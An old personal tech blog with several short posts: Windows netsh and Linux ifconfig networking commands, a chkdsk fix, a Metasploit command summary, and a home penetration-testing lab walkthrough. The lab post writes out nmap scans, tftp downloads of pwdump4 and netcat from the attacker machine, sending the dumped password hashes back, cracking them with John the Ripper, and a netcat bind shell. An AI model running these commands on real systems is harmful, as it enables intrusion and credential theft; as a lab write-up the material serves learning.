Saturday, July 7, 2007

NETSH - Configure TCP/IP from the command line

Show TCP/IP setting

netsh interface ip show config

Configure static IP

netsh interface ip set address name="Local Area Connection" static 10.21.11.81 255.0.0.0 10.21.11.254 1

Configure DHCP client

netsh interface ip set address "Local Area Connection" dhcp

Configure DNS setting

netsh interface ip set dns "Local Area Connection" static 202.188.0.133

Configure DNS setting 2

netsh interface ip add dns "Local Area Connection" 202.188.1.5 index=2

Configure DNS by DHCP

netsh interface ip set dns "Local Area Connection" dhcp

Configure WINS setting

netsh interface ip set wins "Local Area Connection" static 192.168.0.200

http://www.petri.co.il/configure_tcp_ip_from_cmd.htm

http://thelazyadmin.com/blogs/thelazyadmin/archive/2005/04/04/Using-Netsh-to-Manage-Network-Interfaces-Part-2.aspx

http://cwashington.netreach.net/depo/view.asp?Index=1155&ScriptType=command


Configure IP Address on Backtrack


Command to set

To confirm it


ifconfig eth0 up


Set ip & subnet mask

ifconfig eth0 192.168.1.21 netmask 255.255.255.0

Ifconfig eth0


route add default gw 192.168.1.1 eth0



echo nameserver 192.168.1.1 > /etc/resolv.conf

echo nameserver 212.135.1.36 >> /etc/resolv.conf




http://forums.remote-exploit.org/archive/index.php/t-1489.html

Check disk runs everytime I reboot my PC

the same problem with me...however, after follow the advice, i manage to solve it :)

fsutil dirty query e:
CHKNTFS /X e:
Chkdsk /f /r e:

http://www.experts-exchange.com/Hardware/Desktops/PCs/Q_22623541.html

Wednesday, June 27, 2007

Penetration Tester Lab

First of all, you must have your own machine to hack. In this scenario, i'll setup windows 2000 sp4 and linux redhat 6.2

this old version of linux can be download at

Download Redhat 6.2 here

Installing and Securing IIS Servers

The other machine is Backtrack that already installed into my hard disk for attacking purposes.
By default, windows 2000 sp4 is vulnerable to lsass exploit. So, make sure you patch your machine accordingly. In this lab, i won't patch it to show how the attack can be done.

Windows SP4 - 10.21.11.81
Backtrack (Attacker - 10.21.11.84)

On Backtrack, scan windows 2004 sp4 using nmap

nmap -sT -O 10.21.11.81
nmap -sV 10.21.11.81 -p 23,25,80
nmap -sU 10.21.11.81



cd /pentest/password/dictionaries
gunzip -c wordlist.txt.gz > /tmp/wordlist.txt

exploit the machine...n get the shell.

From the windows 2004, run

tftp -i 10.21.11.84 get pwdump4.exe
tftp -i 10.21.11.84 get pwdump4.dll
tftp -i 10.21.11.84 get nc.exe


pwdump4 /l /o:pwdump4.txt
tftp 10.21.11.84 put pwdump4.txt

From Backtrack,

cat pwdump4.txt
john -w:wordlist.txt pwdump4.txt
john --show pwdump4.txt
john -w:wordlist.txt -f:NT pwdump4.txt


From Windows,

nc -L -p 2111 -e cmd.exe
telnet 10.21.11.81 2111
whoami


that's it, and GAME OVER

Wednesday, June 13, 2007

Metasploit: 3.0-beta-dev Guide

Basic format for Metasploit

1. Pick which exploit to use
2. Configure the exploit with remote IP adress & port number
3. Pick the payload
4. Configure the payload with local IP address & port number
5. Check / Execute the exploit

Step

Command

Description

1

Show exploits

List all exploits

2

Use [exploit name]

Choose

3

Show payloads

To check all available payloads

4

Set PAYLOAD [payload name]

Set the payload

5

Show options

To check more option that can be set

6

Check

To check whether the host is exploitable or not

7

Exploit

Exploit the host

Sunday, June 3, 2007

Network-based Application Vulnerability Assessment

AppDetective(TM) – Application Security, Inc's (AppSecInc) network-based application vulnerability assessment solution that arms you with the tools needed to secure applications/databases against unauthorized external attacks, unauthorized internal access, password cracking, and various other attacks before they occur.

https://www.appsecinc.com/cgi-bin/download.pl?download=AppDetective

LinkWithin

Related Posts with Thumbnails